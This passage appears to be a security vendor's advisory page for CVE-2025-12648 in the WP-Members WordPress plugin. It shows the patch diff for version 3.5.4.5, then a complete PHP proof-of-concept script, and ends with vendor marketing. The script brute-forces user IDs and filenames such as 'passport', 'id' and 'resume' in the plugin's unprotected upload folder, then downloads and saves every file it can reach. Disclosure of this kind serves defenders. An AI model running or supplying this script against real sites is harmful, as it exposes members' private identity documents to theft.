+	 * @see https://wpbitz.com/code-snippets/delete-directory-using-rmdir-in-php-even-if-the-directory-is-not-empty/
+	 *
+	 * @param  string  $dir
+	 * @return boolean
+	 */
+	public function delete_directory( $dir ) {
+
+		// Check user capability to prevent being used by a non-permissioned user.
+		/**
+		 * Filter the required capability.
+		 *
+		 * @since 3.5.5
+		 */
+		$has_req_caps = apply_filters( 'wpmem_update_filesystem_caps', 'delete_site' );
+
+		if ( ! $has_req_caps ) {
+			return false;
+		}
+
+		// Check if $dir is a directory, return false if it's not.
+		if ( ! is_dir( $dir ) ) {
+			return false;
+		}
+
+		// Get all files and folders in the directory.
+		$items = scandir( $dir );
+
+		// Loop through items in the directory.
+		foreach ( $items as $item ) {
+			// Skip special entries "." (current directory) and ".." (parent directory)
+			if ( $item == '.' || $item == '..' ) {
+				continue;
+			}
+			// Build the full path of the current item.
+			$path = $dir . DIRECTORY_SEPARATOR . $item;
+
+			// If the item is a directory, call this function recursively.
+			if ( is_dir( $path ) ) {
+				$this->delete_directory( $path );
+			} else { // If the item is a file, delete it.
+				unlink( $path );
+			}
+		}
+
+		// Remove the main directory.
+		return rmdir( $dir );
+	}
+}
 No newline at end of file
--- a/wp-members/includes/class-wp-members-forms.php
+++ b/wp-members/includes/class-wp-members-forms.php
@@ -15,7 +15,6 @@
 class WP_Members_Forms {

 	public $reg_form_showing = false;
-	public $file_user_id; // A container for the uploaded file user ID.

 	/**
 	 * Plugin initialization function.
@@ -530,104 +529,6 @@

 		return $label;
 	}
-
-	/**
-	 * Uploads file from the user.
-	 *
-	 * @since 3.1.0
-	 *
-	 * @param  array    $file
-	 * @param  int      $user_id
-	 * @return int|bool
-	 */
-	function do_file_upload( $file = array(), $user_id = false ) {
-
-		// Filter the upload directory.
-		add_filter( 'upload_dir', array( &$this, 'file_upload_dir' ) );
-
-		// Set up user ID for use in upload process.
-		$this->file_user_id = ( $user_id ) ? $user_id : 0;
-
-		// Get WordPress file upload processing scripts.
-		require_once( ABSPATH . 'wp-admin/includes/file.php' );
-		require_once( ABSPATH . 'wp-admin/includes/media.php' );
-
-		$file_return = wp_handle_upload( $file, array( 'test_form' => false ) );
-
-		if ( isset( $file_return['error'] ) || isset( $file_return['upload_error_handler'] ) ) {
-			return false;
-		} else {
-
-			$attachment = array(
-				'post_mime_type' => $file_return['type'],
-				'post_title'     => preg_replace( '/.[^.]+$/', '', basename( $file_return['file'] ) ),
-				'post_content'   => '',
-				'post_status'    => 'inherit',
-				'guid'           => $file_return['url'],
-				'post_author'    => ( $user_id ) ? $user_id : '',
-			);
-
-			$attachment_id = wp_insert_attachment( $attachment, $file_return['url'] );
-
-			require_once( ABSPATH . 'wp-admin/includes/image.php' );
-			$attachment_data = wp_generate_attachment_metadata( $attachment_id, $file_return['file'] );
-			wp_update_attachment_metadata( $attachment_id, $attachment_data );
-
-			if ( 0 < intval( $attachment_id ) ) {
-				// Returns an array with file information.
-				return $attachment_id;
-			}
-		}
-
-		return false;
-	} // End upload_file()
-
-	/**
-	 * Sets the file upload directory.
-	 *
-	 * This is a filter function for upload_dir.
-	 *
-	 * @link https://codex.wordpress.org/Plugin_API/Filter_Reference/upload_dir
-	 *
-	 * @since 3.1.0
-	 *
-	 * @param  array $param {
-	 *     The directory information for upload.
-	 *
-	 *     @type string $path
-	 *     @type string $url
-	 *     @type string $subdir
-	 *     @type string $basedir
-	 *     @type string $baseurl
-	 *     @type string $error
-	 * }
-	 * @return array $param
-	 */
-	function file_upload_dir( $param ) {
-
-		$user_id  = ( isset( $this->file_user_id ) ) ? $this->file_user_id : null;
-
-		$args = array(
-			'user_id'   => $user_id,
-			'wpmem_dir' => wpmem_get_upload_base(),
-			'user_dir'  => 'user_files/' . $user_id,
-		);
-
-		/**
-		 * Filter the user directory elements.
-		 *
-		 * @since 3.1.0
-		 *
-		 * @param array $args
-		 */
-		$args = apply_filters( 'wpmem_user_upload_dir', $args );
-
-		$param['subdir'] = '/' . $args['wpmem_dir'] . '/' . $args['user_dir'];
-		$param['path']   = $param['basedir'] . '/' . $args['wpmem_dir'] . '/' . $args['user_dir'];
-		$param['url']    = $param['baseurl'] . '/' . $args['wpmem_dir'] . '/' . $args['user_dir'];
-
-		return $param;
-	}

 	/**
 	 * Login Form Builder.
--- a/wp-members/includes/class-wp-members-user-profile.php
+++ b/wp-members/includes/class-wp-members-user-profile.php
@@ -145,14 +145,15 @@
 						$empty_file = '<span class="description">' . esc_html__( 'None' ) . '</span>';
 						if ( 'file' == $field['type'] ) {
 							$attachment_url = wp_get_attachment_url( $val );
-							$input = ( $attachment_url ) ? '<a href="' . esc_url( $attachment_url ) . '">' . esc_url_raw( $attachment_url ) . '</a>' : $empty_file;
+							$attachment_path = get_attached_file( $val );
+							$input = ( $attachment_url ) ? '<a href="' . esc_url( $attachment_url ) . '">' . esc_html( basename( $attachment_path ) ) . '</a>' : $empty_file;
 						} else {
 							$attachment_url = wp_get_attachment_image( $val, 'medium' );
 							if ( 'admin' == $display ) {
 								$edit_url = admin_url( 'upload.php?item=' . $val );
-								$input = ( $attachment_url ) ? '<a href="' . esc_url( $edit_url ) . '">' . esc_url_raw( $attachment_url ) . '</a>' : $empty_file;
+								$input = ( $attachment_url ) ? '<a href="' . esc_url( $edit_url ) . '">' . wp_kses_post( $attachment_url ) . '</a>' : $empty_file;
 							} else {
-								$input = ( $attachment_url ) ? esc_url_raw( $attachment_url ) : $empty_file;
+								$input = ( $attachment_url ) ? wp_kses_post( $attachment_url ) : $empty_file;
 							}
 						}
 						$input.= '<br />' . wpmem_get_text( 'profile_upload' ) . '<br />';
--- a/wp-members/includes/class-wp-members-user.php
+++ b/wp-members/includes/class-wp-members-user.php
@@ -913,7 +913,7 @@
 			if ( ( 'file' == $field['type'] || 'image' == $field['type'] ) && isset( $_FILES[ $meta_key ] ) && is_array( $_FILES[ $meta_key ] ) ) {
 				if ( ! empty( $_FILES[ $meta_key ]['name'] ) ) {
 					// Upload the file and save it as an attachment.
-					$file_post_id = $wpmem->forms->do_file_upload( $_FILES[ $meta_key ], $user_id );
+					$file_post_id = $wpmem->api->do_file_upload( $_FILES[ $meta_key ], $user_id );
 					// Save the attachment ID as user meta.
 					update_user_meta( $user_id, $meta_key, $file_post_id );
 					// Add attachment ID to post data array.
--- a/wp-members/includes/class-wp-members.php
+++ b/wp-members/includes/class-wp-members.php
@@ -478,6 +478,15 @@
 	public $admin;

 	/**
+	 * Handle the filesystem.
+	 *
+	 * @since 3.5.5
+	 * @access public
+	 * @var object
+	 */
+	public $filesystem;
+
+	/**
 	 * Objects for premium extensions.
 	 *
 	 * @access public
--- a/wp-members/includes/cli/class-wp-members-cli-filesystem.php
+++ b/wp-members/includes/cli/class-wp-members-cli-filesystem.php
@@ -0,0 +1,125 @@
+<?php
+if ( defined( 'WP_CLI' ) && WP_CLI ) {
+
+	class WP_Members_CLI_Filesystem_Upgrade {
+
+		function __construct() {
+			// Need the admin api for some CLI commands.
+			global $wpmem;
+			require_once $wpmem->path . 'includes/admin/api.php';
+			require_once $wpmem->path . 'includes/class-wp-members-filesystem.php';
+			$wpmem->filesystem = new WP_Members_Update_Filesystem_Class;
+		}
+
+		/**
+		 * List files that need to be moved.
+		 *
+		 * ## OPTIONS
+		 *
+		 * [--page=<page>]
+		 * : Current page of results to display. Default is 1.
+		 *
+		 * [--per_page=<per_page>]
+		 * : Number of results to display per page. Default is 20.
+		 *
+		 * ## EXAMPLES
+		 *
+		 *    wp mem fs-upgrade list --page=1 --per_page=10
+		 */
+		public function list( $args, $assoc_args ) {
+			global $wpmem;
+			$files_to_move = $wpmem->filesystem->get_file_list();
+			if ( empty( $files_to_move ) ) {
+				WP_CLI::line( WP_CLI::colorize( '%gThere are no files to move.%n' ) );
+			} else {
+
+				$current_page = WP_CLIUtilsget_flag_value( $assoc_args, 'page', 1 );
+				$per_page     = WP_CLIUtilsget_flag_value( $assoc_args, 'per_page', 20 );
+
+				$query_args = array(
+					'number' => intval( $per_page ),
+					'offset' => intval( $current_page )
+				);
+
+				$total_items = count( $files_to_move );
+				$total_pages = ceil( $total_items/$per_page );
+
+				$offset = ($current_page-1) * $per_page;
+
+				// paginate with array_slice.
+				$paged_files_to_move = array_slice( $files_to_move, $offset, $per_page );
+
+				// Indicate paginated results.
+				WP_CLI::line( 'Page ' . $current_page . ' of ' . $total_pages . ' (' . $total_items . ' records, ' . $per_page . ' per page)' );
+
+				foreach( $paged_files_to_move as $file ) {
+					$user = get_userdata( $file->post_author );
+					$list[] = array(
+						'user id' => $file->post_author,
+						'user_email' => $user->user_email,
+						'file id' => $file->ID,
+						'path (in wp-content/uploads)' => wpmem_get_sub_str( '/wpmembers/user_files', get_attached_file( $file->ID ) )
+					);
+				}
+				$formatter = new WP_CLIFormatter( $assoc_args, array( 'user id', 'user_email', 'file id', 'path (in wp-content/uploads)' ) );
+				$formatter->display_items( $list );
+
+			}
+		}
+
+		/**
+		 * Move files to new directory structure.
+		 *
+		 * ## EXAMPLES
+		 *
+		 *    wp mem fs-upgrade move
+		 */
+		public function move( $args, $assoc_args ) {
+
+			WP_CLI::line( 'This will move all files in the WP-Members uploads directory to a new directory structure.' );
+			WP_CLI::line( 'Files are not deleted but the attachment data is updated in the database.' );
+			WP_CLI::line( 'Make sure you have backed up your database.' );
+			WP_CLI::confirm( 'Are you sure you want to continue?' );
+
+			global $wpmem;
+			$wpmem->filesystem->update_filesystem();
+			if ( ! empty( $wpmem->filesystem->get_errors() ) ) {
+				WP_CLI::error( 'There were errors' );
+				foreach ( $wpmem->filesystem->get_errors() as $user_id => $error ) {
+					$user = get_userdata( $user_id );
+					$list[] = array(
+						'user_id' => $user_id,
+						'user_email' => $user->user_email,
+						'error' => $error
+					);
+				}
+				WP_CLI::line( 'Attempts to move uploads for the following user IDs returned an error:' );
+				$formatter = new WP_CLIFormatter( $assoc_args, array( 'user_id', 'user_email', 'error' ) );
+				$formatter->display_items( $list );
+			} else {
+				WP_CLI::line( WP_CLI::colorize( '%gNo errors during move.%n' ) );
+				WP_CLI::line( 'Run <wp mem fs-upgrade list> to confirm all files were moved.' );
+				WP_CLI::line( 'Run <wp mem fs-upgrade delete> to remove the old files and directories.' );
+			}
+		}
+
+		/**
+		 * Delete old uploads directory.
+		 *
+		 * ## EXAMPLES
+		 *
+		 *    wp mem fs-upgrade delete
+		 */
+		public function delete( $args, $assoc_args ) {
+			global $wpmem;
+			WP_CLI::confirm( 'This will delete all files in uploads/wpmembers/user_files/ and cannot be undone. Are you sure?' );
+			$rmdir = $wpmem->filesystem->delete_directory( trailingslashit( $wpmem->filesystem->basedir ) . 'wpmembers/user_files/' );
+			if ( $rmdir ) {
+				WP_CLI::success( 'Deletion of old directory successful.' );
+			} else {
+				WP_CLI::error( 'Deletion processing returned an error. You may need to check directory permissions and/or delete the folder manually' );
+			}
+		}
+	}
+}
+WP_CLI::add_command( 'mem fs-upgrade', 'WP_Members_CLI_Filesystem_Upgrade' );
 No newline at end of file
--- a/wp-members/includes/cli/class-wp-members-cli.php
+++ b/wp-members/includes/cli/class-wp-members-cli.php
@@ -141,6 +141,7 @@
     WP_CLI::add_command( 'mem', 'WP_Members_CLI' );

 	// Load all subcommands
+	require_once 'class-wp-members-cli-filesystem.php';
 	require_once 'class-wp-members-cli-import.php';
 	require_once 'class-wp-members-cli-memberships.php';
 	require_once 'class-wp-members-cli-settings.php';
--- a/wp-members/includes/install.php
+++ b/wp-members/includes/install.php
@@ -611,7 +611,7 @@

 	$upload_vars = wpmem_upload_dir();

-	$users_to_check = get_users( array( 'fields'=>'ID' ));
+	//$users_to_check = get_users( array( 'fields'=>'ID' ));

 	if ( file_exists( $upload_vars['wpmem_user_files_dir'] ) ) {

@@ -629,6 +629,9 @@
 		) );
 	}

+	// User files are being moved in bulk and this will be handled in the move.
+	// Left the above to create the new dir and setup.
+	/*
 	if ( file_exists( $upload_vars['wpmem_user_files_dir'] ) ) {

 		// Loop through users to update user dirs.
@@ -643,6 +646,7 @@
 			}
 		}
 	}
+	*/
 }

 function wpmem_update_autoload_options() {
@@ -714,7 +718,7 @@
 		global $wpmem;

 		$show_release_notes = true;
-		$release_notes_link = "https://rocketgeek.com/release-announcements/wp-members-3-5-4-2/";
+		$release_notes_link = "https://rocketgeek.com/release-announcements/wp-members-3-5-4-5/";

 		if ( 'new_install' == $wpmem->install_state ) {
 			$notice_heading = __( 'Thank you for installing WP-Members, the original WordPress membership plugin.', 'wp-members' );
--- a/wp-members/includes/vendor/rocketgeek-utilities/includes/strings.php
+++ b/wp-members/includes/vendor/rocketgeek-utilities/includes/strings.php
@@ -98,10 +98,10 @@
 	} else {
 		if ( 'before' == $position ) {
 			$new = ( substr( $haystack, 0, $pos ) );
-			$new = ( $keep_needle ) ? $string . $needle : $new;
+			$new = ( $keep_needle ) ? $needle . $new : $new;
 		} elseif ( 'after' == $position ) {
 			$new = ( substr( $haystack, $pos+strlen( $needle ) ) );
-			$new = ( $keep_needle ) ? $needle . $string : $new;
+			$new = ( $keep_needle ) ? $needle . $new : $new;
 		} elseif ( 'split' == $position ) {
 			$before = ( substr( $haystack, 0, $pos ) );
 			$after  = ( substr( $haystack, $pos+strlen( $needle ) ) );
--- a/wp-members/wp-members.php
+++ b/wp-members/wp-members.php
@@ -3,7 +3,7 @@
 Plugin Name: WP-Members
 Plugin URI:  https://rocketgeek.com
 Description: WP access restriction and user registration.  For more information on plugin features, refer to <a href="https://rocketgeek.com/plugins/wp-members/docs/">the online Users Guide</a>. A <a href="https://rocketgeek.com/plugins/wp-members/quick-start-guide/">Quick Start Guide</a> is also available. WP-Members(tm) is a trademark of butlerblog.com.
-Version:     3.5.4.4
+Version:     3.5.4.5
 Author:      Chad Butler
 Author URI:  https://butlerblog.com/
 Text Domain: wp-members
@@ -58,7 +58,7 @@
 }

 // Initialize constants.
-define( 'WPMEM_VERSION',    '3.5.4.4' );
+define( 'WPMEM_VERSION',    '3.5.4.5' );
 define( 'WPMEM_DB_VERSION', '2.4.2' );
 define( 'WPMEM_PATH', plugin_dir_path( __FILE__ ) ); // @todo Fairly certain this is obsolete.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12648 - WP-Members Membership Plugin <= 3.5.4.4 - Unauthenticated Information Exposure via Unprotected Files

<?php
/**
 * Proof of Concept for CVE-2025-12648
 * Demonstrates unauthenticated file access in WP-Members plugin <= 3.5.4.4
 * This script attempts to brute-force user IDs and common filenames to discover exposed files.
 */

$target_url = 'https://example.com'; // CHANGE THIS TO THE TARGET SITE

// Common file extensions users might upload
$common_extensions = ['pdf', 'doc', 'docx', 'jpg', 'jpeg', 'png', 'txt'];
// Common filenames users might use
$common_filenames = ['document', 'file', 'upload', 'scan', 'id', 'passport', 'resume', 'cv', 'contract'];

// Function to test a specific URL
function test_file_access($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_NOBODY, true); // HEAD request to check existence
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Successful access typically returns 200, 206, or 304
    if ($http_code == 200 || $http_code == 206 || $http_code == 304) {
        return true;
    }
    return false;
}

// Brute-force user IDs (common range for smaller sites)
echo "[+] Starting brute-force scan for exposed files...n";
$found_files = [];

for ($user_id = 1; $user_id <= 100; $user_id++) { // Adjust range as needed
    foreach ($common_filenames as $filename) {
        foreach ($common_extensions as $ext) {
            $test_url = $target_url . "/wp-content/uploads/wpmembers/user_files/" . $user_id . "/" . $filename . "." . $ext;
            echo "Testing: " . $test_url . "n";
            
            if (test_file_access($test_url)) {
                $found_files[] = $test_url;
                echo "[FOUND] Accessible file: " . $test_url . "n";
                
                // Optional: Download the file
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $test_url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_TIMEOUT, 5);
                $file_content = curl_exec($ch);
                $content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
                curl_close($ch);
                
                // Save locally for analysis
                $local_filename = "cve_2025_12648_user" . $user_id . "_" . $filename . "." . $ext;
                file_put_contents($local_filename, $file_content);
                echo "[DOWNLOADED] Saved as: " . $local_filename . " (Content-Type: " . $content_type . ")n";
            }
        }
    }
}

// Report results
if (empty($found_files)) {
    echo "[-] No accessible files found in the tested range.n";
    echo "[-] Note: The site may be patched, use different user IDs/filenames, or have no uploaded files.n";
} else {
    echo "n[+] Scan complete. Found " . count($found_files) . " accessible file(s).n";
    echo "[+] List of accessible URLs:n";
    foreach ($found_files as $url) {
        echo "  - " . $url . "n";
    }
}

// Alternative: Test with known user ID if available
// $known_user_id = 42;
// $known_filename = "secret.pdf";
// $direct_url = $target_url . "/wp-content/uploads/wpmembers/user_files/" . $known_user_id . "/" . $known_filename;
// echo "nTesting direct access: " . $direct_url . "n";
// if (test_file_access($direct_url)) {
//     echo "[VULNERABLE] Direct file access confirmed!n";
// }
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School